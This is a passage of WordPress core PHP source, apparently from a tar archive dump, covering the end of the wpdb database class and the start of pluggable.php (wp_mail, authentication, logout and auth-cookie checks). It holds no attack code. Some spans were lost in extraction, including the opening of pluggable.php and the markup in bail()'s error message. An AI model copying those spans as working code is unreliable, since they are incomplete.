= false; } // There's no charset to work with. if ( false === $charset ) { continue; } // Column isn't a string. if ( ! is_string( $value['value'] ) ) { continue; } $needs_validation = true; if ( // latin1 can store any byte sequence. 'latin1' === $charset || // ASCII is always OK. ( ! isset( $value['ascii'] ) && $this->check_ascii( $value['value'] ) ) ) { $truncate_by_byte_length = true; $needs_validation = false; } if ( $truncate_by_byte_length ) { mbstring_binary_safe_encoding(); if ( false !== $length && strlen( $value['value'] ) > $length ) { $value['value'] = substr( $value['value'], 0, $length ); } reset_mbstring_encoding(); if ( ! $needs_validation ) { continue; } } // utf8 can be handled by regex, which is a bunch faster than a DB lookup. if ( ( 'utf8' === $charset || 'utf8mb3' === $charset || 'utf8mb4' === $charset ) && function_exists( 'mb_strlen' ) ) { $regex = '/ ( (?: [\x00-\x7F] # single-byte sequences 0xxxxxxx | [\xC2-\xDF][\x80-\xBF] # double-byte sequences 110xxxxx 10xxxxxx | \xE0[\xA0-\xBF][\x80-\xBF] # triple-byte sequences 1110xxxx 10xxxxxx * 2 | [\xE1-\xEC][\x80-\xBF]{2} | \xED[\x80-\x9F][\x80-\xBF] | [\xEE-\xEF][\x80-\xBF]{2}'; if ( 'utf8mb4' === $charset ) { $regex .= ' | \xF0[\x90-\xBF][\x80-\xBF]{2} # four-byte sequences 11110xxx 10xxxxxx * 3 | [\xF1-\xF3][\x80-\xBF]{3} | \xF4[\x80-\x8F][\x80-\xBF]{2} '; } $regex .= '){1,40} # ...one or more times ) | . # anything else /x'; $value['value'] = preg_replace( $regex, '$1', $value['value'] ); if ( false !== $length && mb_strlen( $value['value'], 'UTF-8' ) > $length ) { $value['value'] = mb_substr( $value['value'], 0, $length, 'UTF-8' ); } continue; } // We couldn't use any local conversions, send it to the DB. $value['db'] = true; $db_check_string = true; } unset( $value ); // Remove by reference. if ( $db_check_string ) { $queries = array(); foreach ( $data as $col => $value ) { if ( ! empty( $value['db'] ) ) { // We're going to need to truncate by characters or bytes, depending on the length value we have. if ( isset( $value['length']['type'] ) && 'byte' === $value['length']['type'] ) { // Using binary causes LEFT() to truncate by bytes. $charset = 'binary'; } else { $charset = $value['charset']; } if ( $this->charset ) { $connection_charset = $this->charset; } else { if ( $this->use_mysqli ) { $connection_charset = mysqli_character_set_name( $this->dbh ); } else { $connection_charset = mysql_client_encoding(); } } if ( is_array( $value['length'] ) ) { $length = sprintf( '%.0f', $value['length']['length'] ); $queries[ $col ] = $this->prepare( "CONVERT( LEFT( CONVERT( %s USING $charset ), $length ) USING $connection_charset )", $value['value'] ); } elseif ( 'binary' !== $charset ) { // If we don't have a length, there's no need to convert binary - it will always return the same result. $queries[ $col ] = $this->prepare( "CONVERT( CONVERT( %s USING $charset ) USING $connection_charset )", $value['value'] ); } unset( $data[ $col ]['db'] ); } } $sql = array(); foreach ( $queries as $column => $query ) { if ( ! $query ) { continue; } $sql[] = $query . " AS x_$column"; } $this->check_current_query = false; $row = $this->get_row( 'SELECT ' . implode( ', ', $sql ), ARRAY_A ); if ( ! $row ) { return new WP_Error( 'wpdb_strip_invalid_text_failure', __( 'Could not strip invalid text.' ) ); } foreach ( array_keys( $data ) as $column ) { if ( isset( $row[ "x_$column" ] ) ) { $data[ $column ]['value'] = $row[ "x_$column" ]; } } } return $data; } /** * Strips any invalid characters from the query. * * @since 4.2.0 * * @param string $query Query to convert. * @return string|WP_Error The converted query, or a WP_Error object if the conversion fails. */ protected function strip_invalid_text_from_query( $query ) { // We don't need to check the collation for queries that don't read data. $trimmed_query = ltrim( $query, "\r\n\t (" ); if ( preg_match( '/^(?:SHOW|DESCRIBE|DESC|EXPLAIN|CREATE)\s/i', $trimmed_query ) ) { return $query; } $table = $this->get_table_from_query( $query ); if ( $table ) { $charset = $this->get_table_charset( $table ); if ( is_wp_error( $charset ) ) { return $charset; } // We can't reliably strip text from tables containing binary/blob columns. if ( 'binary' === $charset ) { return $query; } } else { $charset = $this->charset; } $data = array( 'value' => $query, 'charset' => $charset, 'ascii' => false, 'length' => false, ); $data = $this->strip_invalid_text( array( $data ) ); if ( is_wp_error( $data ) ) { return $data; } return $data[0]['value']; } /** * Strips any invalid characters from the string for a given table and column. * * @since 4.2.0 * * @param string $table Table name. * @param string $column Column name. * @param string $value The text to check. * @return string|WP_Error The converted string, or a WP_Error object if the conversion fails. */ public function strip_invalid_text_for_column( $table, $column, $value ) { if ( ! is_string( $value ) ) { return $value; } $charset = $this->get_col_charset( $table, $column ); if ( ! $charset ) { // Not a string column. return $value; } elseif ( is_wp_error( $charset ) ) { // Bail on real errors. return $charset; } $data = array( $column => array( 'value' => $value, 'charset' => $charset, 'length' => $this->get_col_length( $table, $column ), ), ); $data = $this->strip_invalid_text( $data ); if ( is_wp_error( $data ) ) { return $data; } return $data[ $column ]['value']; } /** * Finds the first table name referenced in a query. * * @since 4.2.0 * * @param string $query The query to search. * @return string|false The table name found, or false if a table couldn't be found. */ protected function get_table_from_query( $query ) { // Remove characters that can legally trail the table name. $query = rtrim( $query, ';/-#' ); // Allow (select...) union [...] style queries. Use the first query's table name. $query = ltrim( $query, "\r\n\t (" ); // Strip everything between parentheses except nested selects. $query = preg_replace( '/\((?!\s*select)[^(]*?\)/is', '()', $query ); // Quickly match most common queries. if ( preg_match( '/^\s*(?:' . 'SELECT.*?\s+FROM' . '|INSERT(?:\s+LOW_PRIORITY|\s+DELAYED|\s+HIGH_PRIORITY)?(?:\s+IGNORE)?(?:\s+INTO)?' . '|REPLACE(?:\s+LOW_PRIORITY|\s+DELAYED)?(?:\s+INTO)?' . '|UPDATE(?:\s+LOW_PRIORITY)?(?:\s+IGNORE)?' . '|DELETE(?:\s+LOW_PRIORITY|\s+QUICK|\s+IGNORE)*(?:.+?FROM)?' . ')\s+((?:[0-9a-zA-Z$_.`-]|[\xC2-\xDF][\x80-\xBF])+)/is', $query, $maybe ) ) { return str_replace( '`', '', $maybe[1] ); } // SHOW TABLE STATUS and SHOW TABLES WHERE Name = 'wp_posts' if ( preg_match( '/^\s*SHOW\s+(?:TABLE\s+STATUS|(?:FULL\s+)?TABLES).+WHERE\s+Name\s*=\s*("|\')((?:[0-9a-zA-Z$_.-]|[\xC2-\xDF][\x80-\xBF])+)\\1/is', $query, $maybe ) ) { return $maybe[2]; } /* * SHOW TABLE STATUS LIKE and SHOW TABLES LIKE 'wp\_123\_%' * This quoted LIKE operand seldom holds a full table name. * It is usually a pattern for matching a prefix so we just * strip the trailing % and unescape the _ to get 'wp_123_' * which drop-ins can use for routing these SQL statements. */ if ( preg_match( '/^\s*SHOW\s+(?:TABLE\s+STATUS|(?:FULL\s+)?TABLES)\s+(?:WHERE\s+Name\s+)?LIKE\s*("|\')((?:[\\\\0-9a-zA-Z$_.-]|[\xC2-\xDF][\x80-\xBF])+)%?\\1/is', $query, $maybe ) ) { return str_replace( '\\_', '_', $maybe[2] ); } // Big pattern for the rest of the table-related queries. if ( preg_match( '/^\s*(?:' . '(?:EXPLAIN\s+(?:EXTENDED\s+)?)?SELECT.*?\s+FROM' . '|DESCRIBE|DESC|EXPLAIN|HANDLER' . '|(?:LOCK|UNLOCK)\s+TABLE(?:S)?' . '|(?:RENAME|OPTIMIZE|BACKUP|RESTORE|CHECK|CHECKSUM|ANALYZE|REPAIR).*\s+TABLE' . '|TRUNCATE(?:\s+TABLE)?' . '|CREATE(?:\s+TEMPORARY)?\s+TABLE(?:\s+IF\s+NOT\s+EXISTS)?' . '|ALTER(?:\s+IGNORE)?\s+TABLE' . '|DROP\s+TABLE(?:\s+IF\s+EXISTS)?' . '|CREATE(?:\s+\w+)?\s+INDEX.*\s+ON' . '|DROP\s+INDEX.*\s+ON' . '|LOAD\s+DATA.*INFILE.*INTO\s+TABLE' . '|(?:GRANT|REVOKE).*ON\s+TABLE' . '|SHOW\s+(?:.*FROM|.*TABLE)' . ')\s+\(*\s*((?:[0-9a-zA-Z$_.`-]|[\xC2-\xDF][\x80-\xBF])+)\s*\)*/is', $query, $maybe ) ) { return str_replace( '`', '', $maybe[1] ); } return false; } /** * Loads the column metadata from the last query. * * @since 3.5.0 */ protected function load_col_info() { if ( $this->col_info ) { return; } if ( $this->use_mysqli ) { $num_fields = mysqli_num_fields( $this->result ); for ( $i = 0; $i < $num_fields; $i++ ) { $this->col_info[ $i ] = mysqli_fetch_field( $this->result ); } } else { $num_fields = mysql_num_fields( $this->result ); for ( $i = 0; $i < $num_fields; $i++ ) { $this->col_info[ $i ] = mysql_fetch_field( $this->result, $i ); } } } /** * Retrieves column metadata from the last query. * * @since 0.71 * * @param string $info_type Optional. Possible values include 'name', 'table', 'def', 'max_length', * 'not_null', 'primary_key', 'multiple_key', 'unique_key', 'numeric', * 'blob', 'type', 'unsigned', 'zerofill'. Default 'name'. * @param int $col_offset Optional. 0: col name. 1: which table the col's in. 2: col's max length. * 3: if the col is numeric. 4: col's type. Default -1. * @return mixed Column results. */ public function get_col_info( $info_type = 'name', $col_offset = -1 ) { $this->load_col_info(); if ( $this->col_info ) { if ( -1 === $col_offset ) { $i = 0; $new_array = array(); foreach ( (array) $this->col_info as $col ) { $new_array[ $i ] = $col->{$info_type}; $i++; } return $new_array; } else { return $this->col_info[ $col_offset ]->{$info_type}; } } } /** * Starts the timer, for debugging purposes. * * @since 1.5.0 * * @return true */ public function timer_start() { $this->time_start = microtime( true ); return true; } /** * Stops the debugging timer. * * @since 1.5.0 * * @return float Total time spent on the query, in seconds. */ public function timer_stop() { return ( microtime( true ) - $this->time_start ); } /** * Wraps errors in a nice header and footer and dies. * * Will not die if wpdb::$show_errors is false. * * @since 1.5.0 * * @param string $message The error message. * @param string $error_code Optional. A computer-readable string to identify the error. * Default '500'. * @return void|false Void if the showing of errors is enabled, false if disabled. */ public function bail( $message, $error_code = '500' ) { if ( $this->show_errors ) { $error = ''; if ( $this->use_mysqli ) { if ( $this->dbh instanceof mysqli ) { $error = mysqli_error( $this->dbh ); } elseif ( mysqli_connect_errno() ) { $error = mysqli_connect_error(); } } else { if ( is_resource( $this->dbh ) ) { $error = mysql_error( $this->dbh ); } else { $error = mysql_error(); } } if ( $error ) { $message = '

    ' . $error . "

    \n" . $message; } wp_die( $message ); } else { if ( class_exists( 'WP_Error', false ) ) { $this->error = new WP_Error( $error_code, $message ); } else { $this->error = $message; } return false; } } /** * Closes the current database connection. * * @since 4.5.0 * * @return bool True if the connection was successfully closed, * false if it wasn't, or if the connection doesn't exist. */ public function close() { if ( ! $this->dbh ) { return false; } if ( $this->use_mysqli ) { $closed = mysqli_close( $this->dbh ); } else { $closed = mysql_close( $this->dbh ); } if ( $closed ) { $this->dbh = null; $this->ready = false; $this->has_connected = false; } return $closed; } /** * Determines whether MySQL database is at least the required minimum version. * * @since 2.5.0 * * @global string $wp_version The WordPress version string. * @global string $required_mysql_version The required MySQL version string. * @return void|WP_Error */ public function check_database_version() { global $wp_version, $required_mysql_version; // Make sure the server has the required MySQL version. if ( version_compare( $this->db_version(), $required_mysql_version, '<' ) ) { /* translators: 1: WordPress version number, 2: Minimum required MySQL version number. */ return new WP_Error( 'database_version', sprintf( __( 'Error: WordPress %1$s requires MySQL %2$s or higher' ), $wp_version, $required_mysql_version ) ); } } /** * Determines whether the database supports collation. * * Called when WordPress is generating the table scheme. * * Use `wpdb::has_cap( 'collation' )`. * * @since 2.5.0 * @deprecated 3.5.0 Use wpdb::has_cap() * * @return bool True if collation is supported, false if not. */ public function supports_collation() { _deprecated_function( __FUNCTION__, '3.5.0', 'wpdb::has_cap( \'collation\' )' ); return $this->has_cap( 'collation' ); } /** * Retrieves the database character collate. * * @since 3.5.0 * * @return string The database character collate. */ public function get_charset_collate() { $charset_collate = ''; if ( ! empty( $this->charset ) ) { $charset_collate = "DEFAULT CHARACTER SET $this->charset"; } if ( ! empty( $this->collate ) ) { $charset_collate .= " COLLATE $this->collate"; } return $charset_collate; } /** * Determines if a database supports a particular feature. * * @since 2.7.0 * @since 4.1.0 Added support for the 'utf8mb4' feature. * @since 4.6.0 Added support for the 'utf8mb4_520' feature. * * @see wpdb::db_version() * * @param string $db_cap The feature to check for. Accepts 'collation', 'group_concat', * 'subqueries', 'set_charset', 'utf8mb4', or 'utf8mb4_520'. * @return int|false Whether the database feature is supported, false otherwise. */ public function has_cap( $db_cap ) { $version = $this->db_version(); switch ( strtolower( $db_cap ) ) { case 'collation': // @since 2.5.0 case 'group_concat': // @since 2.7.0 case 'subqueries': // @since 2.7.0 return version_compare( $version, '4.1', '>=' ); case 'set_charset': return version_compare( $version, '5.0.7', '>=' ); case 'utf8mb4': // @since 4.1.0 if ( version_compare( $version, '5.5.3', '<' ) ) { return false; } if ( $this->use_mysqli ) { $client_version = mysqli_get_client_info(); } else { $client_version = mysql_get_client_info(); } /* * libmysql has supported utf8mb4 since 5.5.3, same as the MySQL server. * mysqlnd has supported utf8mb4 since 5.0.9. */ if ( false !== strpos( $client_version, 'mysqlnd' ) ) { $client_version = preg_replace( '/^\D+([\d.]+).*/', '$1', $client_version ); return version_compare( $client_version, '5.0.9', '>=' ); } else { return version_compare( $client_version, '5.5.3', '>=' ); } case 'utf8mb4_520': // @since 4.6.0 return version_compare( $version, '5.6', '>=' ); } return false; } /** * Retrieves a comma-separated list of the names of the functions that called wpdb. * * @since 2.5.0 * * @return string Comma-separated list of the calling functions. */ public function get_caller() { return wp_debug_backtrace_summary( __CLASS__ ); } /** * Retrieves the database server version. * * @since 2.7.0 * * @return string|null Version number on success, null on failure. */ public function db_version() { return preg_replace( '/[^0-9.].*/', '', $this->db_server_info() ); } /** * Retrieves full database server information. * * @since 5.5.0 * * @return string|false Server info on success, false on failure. */ public function db_server_info() { if ( $this->use_mysqli ) { $server_info = mysqli_get_server_info( $this->dbh ); } else { $server_info = mysql_get_server_info( $this->dbh ); } return $server_info; } } pluggable.php000064400000321500147177035020007226 0ustar00ID ) && ( null !== $id ) ) { return $current_user; } $current_user = new WP_User( $id, $name ); setup_userdata( $current_user->ID ); /** * Fires after the current user is set. * * @since 2.0.1 */ do_action( 'set_current_user' ); return $current_user; } endif; if ( ! function_exists( 'wp_get_current_user' ) ) : /** * Retrieve the current user object. * * Will set the current user, if the current user is not set. The current user * will be set to the logged-in person. If no user is logged-in, then it will * set the current user to 0, which is invalid and won't have any permissions. * * @since 2.0.3 * * @see _wp_get_current_user() * @global WP_User $current_user Checks if the current user is set. * * @return WP_User Current WP_User instance. */ function wp_get_current_user() { return _wp_get_current_user(); } endif; if ( ! function_exists( 'get_userdata' ) ) : /** * Retrieve user info by user ID. * * @since 0.71 * * @param int $user_id User ID * @return WP_User|false WP_User object on success, false on failure. */ function get_userdata( $user_id ) { return get_user_by( 'id', $user_id ); } endif; if ( ! function_exists( 'get_user_by' ) ) : /** * Retrieve user info by a given field * * @since 2.8.0 * @since 4.4.0 Added 'ID' as an alias of 'id' for the `$field` parameter. * * @global WP_User $current_user The current user object which holds the user data. * * @param string $field The field to retrieve the user with. id | ID | slug | email | login. * @param int|string $value A value for $field. A user ID, slug, email address, or login name. * @return WP_User|false WP_User object on success, false on failure. */ function get_user_by( $field, $value ) { $userdata = WP_User::get_data_by( $field, $value ); if ( ! $userdata ) { return false; } $user = new WP_User; $user->init( $userdata ); return $user; } endif; if ( ! function_exists( 'cache_users' ) ) : /** * Retrieve info for user lists to prevent multiple queries by get_userdata() * * @since 3.0.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param int[] $user_ids User ID numbers list */ function cache_users( $user_ids ) { global $wpdb; $clean = _get_non_cached_ids( $user_ids, 'users' ); if ( empty( $clean ) ) { return; } $list = implode( ',', $clean ); $users = $wpdb->get_results( "SELECT * FROM $wpdb->users WHERE ID IN ($list)" ); $ids = array(); foreach ( $users as $user ) { update_user_caches( $user ); $ids[] = $user->ID; } update_meta_cache( 'user', $ids ); } endif; if ( ! function_exists( 'wp_mail' ) ) : /** * Sends an email, similar to PHP's mail function. * * A true return value does not automatically mean that the user received the * email successfully. It just only means that the method used was able to * process the request without any errors. * * The default content type is `text/plain` which does not allow using HTML. * However, you can set the content type of the email by using the * {@see 'wp_mail_content_type'} filter. * * The default charset is based on the charset used on the blog. The charset can * be set using the {@see 'wp_mail_charset'} filter. * * @since 1.2.1 * @since 5.5.0 is_email() is used for email validation, * instead of PHPMailer's default validator. * * @global PHPMailer\PHPMailer\PHPMailer $phpmailer * * @param string|string[] $to Array or comma-separated list of email addresses to send message. * @param string $subject Email subject. * @param string $message Message contents. * @param string|string[] $headers Optional. Additional headers. * @param string|string[] $attachments Optional. Paths to files to attach. * @return bool Whether the email was sent successfully. */ function wp_mail( $to, $subject, $message, $headers = '', $attachments = array() ) { // Compact the input, apply the filters, and extract them back out. /** * Filters the wp_mail() arguments. * * @since 2.2.0 * * @param array $args { * Array of the `wp_mail()` arguments. * * @type string|string[] $to Array or comma-separated list of email addresses to send message. * @type string $subject Email subject. * @type string $message Message contents. * @type string|string[] $headers Additional headers. * @type string|string[] $attachments Paths to files to attach. * } */ $atts = apply_filters( 'wp_mail', compact( 'to', 'subject', 'message', 'headers', 'attachments' ) ); /** * Filters whether to preempt sending an email. * * Returning a non-null value will short-circuit {@see wp_mail()}, returning * that value instead. A boolean return value should be used to indicate whether * the email was successfully sent. * * @since 5.7.0 * * @param null|bool $return Short-circuit return value. * @param array $atts { * Array of the `wp_mail()` arguments. * * @type string|string[] $to Array or comma-separated list of email addresses to send message. * @type string $subject Email subject. * @type string $message Message contents. * @type string|string[] $headers Additional headers. * @type string|string[] $attachments Paths to files to attach. * } */ $pre_wp_mail = apply_filters( 'pre_wp_mail', null, $atts ); if ( null !== $pre_wp_mail ) { return $pre_wp_mail; } if ( isset( $atts['to'] ) ) { $to = $atts['to']; } if ( ! is_array( $to ) ) { $to = explode( ',', $to ); } if ( isset( $atts['subject'] ) ) { $subject = $atts['subject']; } if ( isset( $atts['message'] ) ) { $message = $atts['message']; } if ( isset( $atts['headers'] ) ) { $headers = $atts['headers']; } if ( isset( $atts['attachments'] ) ) { $attachments = $atts['attachments']; } if ( ! is_array( $attachments ) ) { $attachments = explode( "\n", str_replace( "\r\n", "\n", $attachments ) ); } global $phpmailer; // (Re)create it, if it's gone missing. if ( ! ( $phpmailer instanceof PHPMailer\PHPMailer\PHPMailer ) ) { require_once ABSPATH . WPINC . '/PHPMailer/PHPMailer.php'; require_once ABSPATH . WPINC . '/PHPMailer/SMTP.php'; require_once ABSPATH . WPINC . '/PHPMailer/Exception.php'; $phpmailer = new PHPMailer\PHPMailer\PHPMailer( true ); $phpmailer::$validator = static function ( $email ) { return (bool) is_email( $email ); }; } // Headers. $cc = array(); $bcc = array(); $reply_to = array(); if ( empty( $headers ) ) { $headers = array(); } else { if ( ! is_array( $headers ) ) { // Explode the headers out, so this function can take // both string headers and an array of headers. $tempheaders = explode( "\n", str_replace( "\r\n", "\n", $headers ) ); } else { $tempheaders = $headers; } $headers = array(); // If it's actually got contents. if ( ! empty( $tempheaders ) ) { // Iterate through the raw headers. foreach ( (array) $tempheaders as $header ) { if ( strpos( $header, ':' ) === false ) { if ( false !== stripos( $header, 'boundary=' ) ) { $parts = preg_split( '/boundary=/i', trim( $header ) ); $boundary = trim( str_replace( array( "'", '"' ), '', $parts[1] ) ); } continue; } // Explode them out. list( $name, $content ) = explode( ':', trim( $header ), 2 ); // Cleanup crew. $name = trim( $name ); $content = trim( $content ); switch ( strtolower( $name ) ) { // Mainly for legacy -- process a "From:" header if it's there. case 'from': $bracket_pos = strpos( $content, '<' ); if ( false !== $bracket_pos ) { // Text before the bracketed email is the "From" name. if ( $bracket_pos > 0 ) { $from_name = substr( $content, 0, $bracket_pos - 1 ); $from_name = str_replace( '"', '', $from_name ); $from_name = trim( $from_name ); } $from_email = substr( $content, $bracket_pos + 1 ); $from_email = str_replace( '>', '', $from_email ); $from_email = trim( $from_email ); // Avoid setting an empty $from_email. } elseif ( '' !== trim( $content ) ) { $from_email = trim( $content ); } break; case 'content-type': if ( strpos( $content, ';' ) !== false ) { list( $type, $charset_content ) = explode( ';', $content ); $content_type = trim( $type ); if ( false !== stripos( $charset_content, 'charset=' ) ) { $charset = trim( str_replace( array( 'charset=', '"' ), '', $charset_content ) ); } elseif ( false !== stripos( $charset_content, 'boundary=' ) ) { $boundary = trim( str_replace( array( 'BOUNDARY=', 'boundary=', '"' ), '', $charset_content ) ); $charset = ''; } // Avoid setting an empty $content_type. } elseif ( '' !== trim( $content ) ) { $content_type = trim( $content ); } break; case 'cc': $cc = array_merge( (array) $cc, explode( ',', $content ) ); break; case 'bcc': $bcc = array_merge( (array) $bcc, explode( ',', $content ) ); break; case 'reply-to': $reply_to = array_merge( (array) $reply_to, explode( ',', $content ) ); break; default: // Add it to our grand headers array. $headers[ trim( $name ) ] = trim( $content ); break; } } } } // Empty out the values that may be set. $phpmailer->clearAllRecipients(); $phpmailer->clearAttachments(); $phpmailer->clearCustomHeaders(); $phpmailer->clearReplyTos(); $phpmailer->Body = ''; $phpmailer->AltBody = ''; // Set "From" name and email. // If we don't have a name from the input headers. if ( ! isset( $from_name ) ) { $from_name = 'WordPress'; } /* * If we don't have an email from the input headers, default to wordpress@$sitename * Some hosts will block outgoing mail from this address if it doesn't exist, * but there's no easy alternative. Defaulting to admin_email might appear to be * another option, but some hosts may refuse to relay mail from an unknown domain. * See https://core.trac.wordpress.org/ticket/5007. */ if ( ! isset( $from_email ) ) { // Get the site domain and get rid of www. $sitename = wp_parse_url( network_home_url(), PHP_URL_HOST ); $from_email = 'wordpress@'; if ( null !== $sitename ) { if ( 'www.' === substr( $sitename, 0, 4 ) ) { $sitename = substr( $sitename, 4 ); } $from_email .= $sitename; } } /** * Filters the email address to send from. * * @since 2.2.0 * * @param string $from_email Email address to send from. */ $from_email = apply_filters( 'wp_mail_from', $from_email ); /** * Filters the name to associate with the "from" email address. * * @since 2.3.0 * * @param string $from_name Name associated with the "from" email address. */ $from_name = apply_filters( 'wp_mail_from_name', $from_name ); try { $phpmailer->setFrom( $from_email, $from_name, false ); } catch ( PHPMailer\PHPMailer\Exception $e ) { $mail_error_data = compact( 'to', 'subject', 'message', 'headers', 'attachments' ); $mail_error_data['phpmailer_exception_code'] = $e->getCode(); /** This filter is documented in wp-includes/pluggable.php */ do_action( 'wp_mail_failed', new WP_Error( 'wp_mail_failed', $e->getMessage(), $mail_error_data ) ); return false; } // Set mail's subject and body. $phpmailer->Subject = $subject; $phpmailer->Body = $message; // Set destination addresses, using appropriate methods for handling addresses. $address_headers = compact( 'to', 'cc', 'bcc', 'reply_to' ); foreach ( $address_headers as $address_header => $addresses ) { if ( empty( $addresses ) ) { continue; } foreach ( (array) $addresses as $address ) { try { // Break $recipient into name and address parts if in the format "Foo ". $recipient_name = ''; if ( preg_match( '/(.*)<(.+)>/', $address, $matches ) ) { if ( count( $matches ) == 3 ) { $recipient_name = $matches[1]; $address = $matches[2]; } } switch ( $address_header ) { case 'to': $phpmailer->addAddress( $address, $recipient_name ); break; case 'cc': $phpmailer->addCc( $address, $recipient_name ); break; case 'bcc': $phpmailer->addBcc( $address, $recipient_name ); break; case 'reply_to': $phpmailer->addReplyTo( $address, $recipient_name ); break; } } catch ( PHPMailer\PHPMailer\Exception $e ) { continue; } } } // Set to use PHP's mail(). $phpmailer->isMail(); // Set Content-Type and charset. // If we don't have a content-type from the input headers. if ( ! isset( $content_type ) ) { $content_type = 'text/plain'; } /** * Filters the wp_mail() content type. * * @since 2.3.0 * * @param string $content_type Default wp_mail() content type. */ $content_type = apply_filters( 'wp_mail_content_type', $content_type ); $phpmailer->ContentType = $content_type; // Set whether it's plaintext, depending on $content_type. if ( 'text/html' === $content_type ) { $phpmailer->isHTML( true ); } // If we don't have a charset from the input headers. if ( ! isset( $charset ) ) { $charset = get_bloginfo( 'charset' ); } /** * Filters the default wp_mail() charset. * * @since 2.3.0 * * @param string $charset Default email charset. */ $phpmailer->CharSet = apply_filters( 'wp_mail_charset', $charset ); // Set custom headers. if ( ! empty( $headers ) ) { foreach ( (array) $headers as $name => $content ) { // Only add custom headers not added automatically by PHPMailer. if ( ! in_array( $name, array( 'MIME-Version', 'X-Mailer' ), true ) ) { try { $phpmailer->addCustomHeader( sprintf( '%1$s: %2$s', $name, $content ) ); } catch ( PHPMailer\PHPMailer\Exception $e ) { continue; } } } if ( false !== stripos( $content_type, 'multipart' ) && ! empty( $boundary ) ) { $phpmailer->addCustomHeader( sprintf( 'Content-Type: %s; boundary="%s"', $content_type, $boundary ) ); } } if ( ! empty( $attachments ) ) { foreach ( $attachments as $attachment ) { try { $phpmailer->addAttachment( $attachment ); } catch ( PHPMailer\PHPMailer\Exception $e ) { continue; } } } /** * Fires after PHPMailer is initialized. * * @since 2.2.0 * * @param PHPMailer $phpmailer The PHPMailer instance (passed by reference). */ do_action_ref_array( 'phpmailer_init', array( &$phpmailer ) ); $mail_data = compact( 'to', 'subject', 'message', 'headers', 'attachments' ); // Send! try { $send = $phpmailer->send(); /** * Fires after PHPMailer has successfully sent an email. * * The firing of this action does not necessarily mean that the recipient(s) received the * email successfully. It only means that the `send` method above was able to * process the request without any errors. * * @since 5.9.0 * * @param array $mail_data { * An array containing the email recipient(s), subject, message, headers, and attachments. * * @type string[] $to Email addresses to send message. * @type string $subject Email subject. * @type string $message Message contents. * @type string[] $headers Additional headers. * @type string[] $attachments Paths to files to attach. * } */ do_action( 'wp_mail_succeeded', $mail_data ); return $send; } catch ( PHPMailer\PHPMailer\Exception $e ) { $mail_data['phpmailer_exception_code'] = $e->getCode(); /** * Fires after a PHPMailer\PHPMailer\Exception is caught. * * @since 4.4.0 * * @param WP_Error $error A WP_Error object with the PHPMailer\PHPMailer\Exception message, and an array * containing the mail recipient, subject, message, headers, and attachments. */ do_action( 'wp_mail_failed', new WP_Error( 'wp_mail_failed', $e->getMessage(), $mail_data ) ); return false; } } endif; if ( ! function_exists( 'wp_authenticate' ) ) : /** * Authenticate a user, confirming the login credentials are valid. * * @since 2.5.0 * @since 4.5.0 `$username` now accepts an email address. * * @param string $username User's username or email address. * @param string $password User's password. * @return WP_User|WP_Error WP_User object if the credentials are valid, * otherwise WP_Error. */ function wp_authenticate( $username, $password ) { $username = sanitize_user( $username ); $password = trim( $password ); /** * Filters whether a set of user login credentials are valid. * * A WP_User object is returned if the credentials authenticate a user. * WP_Error or null otherwise. * * @since 2.8.0 * @since 4.5.0 `$username` now accepts an email address. * * @param null|WP_User|WP_Error $user WP_User if the user is authenticated. * WP_Error or null otherwise. * @param string $username Username or email address. * @param string $password User password */ $user = apply_filters( 'authenticate', null, $username, $password ); if ( null == $user ) { // TODO: What should the error message be? (Or would these even happen?) // Only needed if all authentication handlers fail to return anything. $user = new WP_Error( 'authentication_failed', __( 'Error: Invalid username, email address or incorrect password.' ) ); } $ignore_codes = array( 'empty_username', 'empty_password' ); if ( is_wp_error( $user ) && ! in_array( $user->get_error_code(), $ignore_codes, true ) ) { $error = $user; /** * Fires after a user login has failed. * * @since 2.5.0 * @since 4.5.0 The value of `$username` can now be an email address. * @since 5.4.0 The `$error` parameter was added. * * @param string $username Username or email address. * @param WP_Error $error A WP_Error object with the authentication failure details. */ do_action( 'wp_login_failed', $username, $error ); } return $user; } endif; if ( ! function_exists( 'wp_logout' ) ) : /** * Log the current user out. * * @since 2.5.0 */ function wp_logout() { $user_id = get_current_user_id(); wp_destroy_current_session(); wp_clear_auth_cookie(); wp_set_current_user( 0 ); /** * Fires after a user is logged out. * * @since 1.5.0 * @since 5.5.0 Added the `$user_id` parameter. * * @param int $user_id ID of the user that was logged out. */ do_action( 'wp_logout', $user_id ); } endif; if ( ! function_exists( 'wp_validate_auth_cookie' ) ) : /** * Validates authentication cookie. * * The checks include making sure that the authentication cookie is set and * pulling in the contents (if $cookie is not used). * * Makes sure the cookie is not expired. Verifies the hash in cookie is what is * should be and compares the two. * * @since 2.5.0 * * @global int $login_grace_period * * @param string $cookie Optional. If used, will validate contents instead of cookie's. * @param string $scheme Optional. The cookie scheme to use: 'auth', 'secure_auth', or 'logged_in'. * @return int|false User ID if valid cookie, false if invalid. */ function wp_validate_auth_cookie( $cookie = '', $scheme = '' ) { $cookie_elements = wp_parse_auth_cookie( $cookie, $scheme ); if ( ! $cookie_elements ) { /** * Fires if an authentication cookie is malformed. * * @since 2.7.0 * * @param string $cookie Malformed auth cookie. * @param string $scheme Authentication scheme. Values include 'auth', 'secure_auth', * or 'logged_in'. */ do_action( 'auth_cookie_malformed', $cookie, $scheme ); return false; } $scheme = $cookie_elements['scheme']; $username = $cookie_elements['username']; $hmac = $cookie_elements['hmac']; $token = $cookie_elements['token']; $expired = $cookie_elements['expiration']; $expiration = $cookie_elements['expiration']; // Allow a grace period for POST and Ajax requests. if ( wp_doing_ajax() || 'POST' === $_SERVER['REQUEST_METHOD'] ) { $expired += HOUR_IN_SECONDS; } // Quick check to see if an honest cookie has expired. if ( $expired < time() ) { /** * Fires once an authentication cookie has expired. * * @since 2.7.0 * * @param string[] $cookie_elements { * Authentication cookie components. None of the components should be assumed * to be valid as they come directly from a client-provided cookie value. * * @type string $username User's username. * @type string $expiration The time the cookie expires as a UNIX timestamp. * @type string $token User's session token used. * @type string $hmac The security hash for the cookie. * @type string $scheme The cookie scheme to use. * } */ do_action( 'auth_cookie_expired', $cookie_elements ); return false; } $user = get_user_by( 'login', $username ); if ( ! $user ) { /** * Fires if a bad username is entered in the user authentication process. * * @since 2.7.0 * * @param string[] $cookie_elements { * Authentication cookie components. None of the components should be assumed * to be valid as they come directly from a client-provided cookie value. * * @type string $username User's username. * @type string $expiration The time the cookie expires as a UNIX timestamp. * @type string $token User's session token used. * @type string $hmac The security hash for the cookie. * @type string $scheme The cookie scheme to use. * } */ do_action( 'auth_cookie_bad_username', $cookie_elements ); return false; } $pass_frag = substr( $user->user_pass, 8, 4 ); $key = 